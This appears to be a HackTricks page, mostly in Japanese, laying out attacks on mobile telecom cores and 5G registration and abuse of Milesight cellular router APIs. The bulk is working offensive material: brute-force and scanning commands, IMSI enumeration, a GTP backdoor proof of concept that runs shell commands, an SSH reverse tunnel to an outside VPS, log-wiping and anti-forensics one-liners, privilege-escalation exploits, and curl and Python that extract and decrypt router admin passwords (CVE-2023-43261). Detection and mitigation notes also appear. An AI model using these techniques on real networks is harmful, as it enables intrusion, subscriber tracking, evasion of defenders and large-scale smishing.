テレコムネットワークの悪用 (GTP / Roaming Environments)
Reading time: 18 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
note
モバイルコアプロトコル(GPRS Tunnelling Protocol – GTP)は、しばしば半信頼のGRX/IPXローミングバックボーンを横断します。これらは平文のUDP上をほとんど認証なしで走るため、テレコムの境界内に獲得した足がかりがあれば通常コアのシグナリングプレーンに直接到達できる。以下のノートは、実際に観測されたSGSN/GGSN、PGW/SGW、およびその他のEPCノードに対する攻撃的な手口をまとめたものです。
1. 偵察(Recon)と初期アクセス
1.1 デフォルト OSS / NE アカウント
驚くほど多くのベンダーのネットワーク要素が、root:admin、dbadmin:dbadmin、cacti:cacti、ftpuser:ftpuser といったハードコードされたSSH/Telnetユーザを搭載して出荷されます。専用のワードリストはブルートフォースの成功率を劇的に高めます:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
1.2 GRX/IPX 内のホスト検出
ほとんどの GRX オペレーターはバックボーン上で引き続き ICMP echo を許可しています。masscan と組み込みの gtpv1 UDP プローブを組み合わせることで、GTP-C リスナーを迅速にマッピングできます:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. 加入者の列挙 – cordscan
以下の Go ツールは GTP-C Create PDP Context Request パケットを作成して応答をログに記録します。各応答は照会した IMSI にサービスを提供している現在の SGSN / MME を明らかにし、場合によっては加入者が訪問している PLMN を示します。
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
主なフラグ:
--imsi対象加入者の IMSI--operホーム / HNI (MCC+MNC)-w生のパケットを pcap に書き込む
binary 内の重要な定数はパッチしてスキャンを広げることができます:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP を介したコード実行 – GTPDoor
GTPDoor は小さな ELF サービスで、UDP 2123 にバインドし、到着するすべての GTP-C パケットを解析します。ペイロードが事前共有のタグで始まると、残りは(AES-128-CBC)で復号され、/bin/sh -c 経由で実行されます。stdout/stderr は Echo Response メッセージ内に持ち出されるため、外向きのセッションは一切作成されません。
最小 PoC パケット (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
検出:
- SGSN IPs に unbalanced Echo Requests を送信している任意のホスト
- message type = 1 (Echo) のときに GTP version flag が 1 に設定されている — 仕様からの逸脱
4. コアを介したピボット
4.1 sgsnemu + SOCKS5
OsmoGGSN は実際の GGSN/PGW に向けて establish a PDP context towards a real GGSN/PGW ことができる SGSN エミュレータを同梱しています。交渉が完了すると、Linux はローミングピアから到達可能な新しい tun0 インターフェースを受け取ります。
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
適切な firewall hair-pinning により、このトンネルは signalling-only VLANs を回避し、直接 data plane に到達します。
4.2 SSH Reverse Tunnel over Port 53
DNS はローミング環境でほぼ常に開いています。内部の SSH サービスを VPS 上で :53 にリッスンさせて公開し、後で自宅から再接続する:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPSでGatewayPorts yesが有効になっていることを確認してください。
5. 秘匿チャネル
| チャネル | トランスポート | 復号 | 備考 |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 完全に受動的なリスナーで、送信トラフィックは発生しない |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | *.nodep サブドメインを監視する |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | 正当な GTP-C のトラフィックに紛れ込む |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. 防御回避チートシート
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. レガシーNEでの Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
クリーンアップのヒント:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– 以前のセクションで説明したカスタムツール。FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS の rogue WPADMicrosocks+ProxyChains: 軽量な SOCKS5 ピボットFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
How to test:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
- Wireshark quick checks:
- It should decode as SUCI, not IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucishould exist; absence plus presence ofimsiindicates leakage.
What to collect:
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
Mitigation:
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigations (must):
- AMF/policy を設定して、厳密に義務付けられている場合(例:緊急通報)を除き、EEA0/EIA0 を拒否する。
- 最低でも EEA2/EIA2 を適用することを推奨する。null algorithms を交渉する NAS セキュリティコンテキストについてはログを取り、アラートを出す。
9.3 初期 Registration Request のリプレイ (pre-security NAS)
初期の NAS は整合性(integrity)と新鮮性(freshness)を欠くため、キャプチャした InitialUEMessage+Registration Request を AMF にリプレイできる。
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- AMFがリプレイを受け入れてAuthenticationに進むか。新規性や文脈の検証がない場合は脆弱性の兆候。
Mitigations:
- AMFでリプレイ防止および文脈バインディングを強制する。gNB/UE単位でレート制限と相関を行う。
9.4 Tooling pointers (reproducible)
- Open5GS: コアをエミュレートするためにAMF/SMF/UPFを起動し、N2 (NGAP) と NAS を観察する。
- Wireshark: NGAP/NASのデコードを確認する。上記のフィルタを適用してRegistrationを切り分ける。
- 5GReplay: registrationをキャプチャし、ルールに従って特定のNGAP + NASメッセージをリプレイする。
- Sni5Gect: NASコントロールプレーンをライブでスニッフ/改変/注入して、nullアルゴリズムを強制したり認証シーケンスを攪乱したりする。
9.5 Defensive checklist
- Registration Requestを継続的に監視し、平文のSUPI/IMSIを検出したら当該デバイス/USIMをブロックする。
- EEA0/EIA0は限定的な緊急手順を除いて拒否する。最低でもEEA2/EIA2を要求する。
- 不正または誤設定されたインフラを検出する: 許可されていない gNB/AMF、予期しない N2 ピア。
- nullアルゴリズムを招くNASセキュリティモードやInitialUEMessageの頻繁なリプレイに対してアラートを出す。
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
産業用セルラールーターの公開されたweb APIを悪用すると、キャリア発信に見せかけた大規模なステルスsmishingが可能になる。Milesight URシリーズのルーターは /cgi にJSON-RPCスタイルのエンドポイントを公開する。誤設定されている場合、そのAPIは認証なしで問い合わせが可能で、SMSの受信箱/送信箱を列挙したり、場合によってはSMSを送信したりできる。
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
レスポンスには timestamp、content、phone_number (E.164)、および status (success or failed) といったフィールドが含まれます。 同じ番号への failed の繰り返し送信は、しばしば attacker の “capability checks” で、router/SIM が blasting 前に配信可能かを検証するためです。
SMS メタデータを exfiltrate するための curl の例:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Notes on auth artifacts:
- 一部のトラフィックには auth cookie が含まれる場合がありますが、管理インターフェースがインターネットに面していると、多数の公開デバイスは
query_inbox/query_outboxに対して認証なしで応答します。 - auth を要求する環境では、previously-leaked credentials(下記参照)でアクセスが回復します。
Credential recovery path – CVE-2023-43261:
- 影響を受けるファミリ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- 問題点: web-served logs(例:
httpd.log)が/lang/log/の下で認証なしにアクセス可能で、クライアント側JavaScriptに存在するハードコードされた AES キー/IV を使用して暗号化された password を含む管理者ログインイベントが記録されています。 - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
leaked パスワードを復号するための最小限の Python (AES-128-CBC, ハードコードされた key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
ハンティングと検知のアイデア(ネットワーク):
- 認証なしの
POST /cgiで JSON ボディがbase/functionをquery_inboxまたはquery_outboxに設定しているものをアラートする。 - 同一の送信元 IP から多数のユニークな番号に渡り、
status":"failed"エントリに続くPOST /cgiの連続バーストを追跡する(capability testing)。 - インターネットに露出した Milesight ルーターをインベントリ化し、管理を VPN に限定する。必要でない限り SMS 機能を無効化し、≥ v35.3.0.7 にアップグレードする。認証情報をローテーションし、不明な送信について SMS ログを確認する。
Shodan/OSINT ピボット(実際に確認された例):
http.html:"rt_title"は Milesight ルーターのパネルに一致する。- 露出したログを探す Google dorking:
"/lang/log/system" ext:log.
運用上の影響: ルーター内に正規のキャリア SIM を使用すると、フィッシングに対する SMS の到達率/信頼性が非常に高くなる。一方、inbox/outbox の露出は機密メタデータを大規模に leaks する。
検出のアイデア
- SGSN/GGSN 以外の任意のデバイスが Create PDP Context Requests を確立していること。
- 内部 IP からの SSH ハンドシェイクを受信している非標準ポート(53, 80, 443)。
- 対応する Echo Responses のない頻繁な Echo Requests – GTPDoor ビーコンを示している可能性がある。
- identifier/sequence フィールドが大きく 0 以外の値を持つ、ICMP echo-reply トラフィックの高頻度。
- 5G: 同一エンドポイントから繰り返される NAS Registration Requests を含む InitialUEMessage(リプレイシグナル)。
- 5G: 緊急時以外で EEA0/EIA0 をネゴシエートする NAS Security Mode。
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks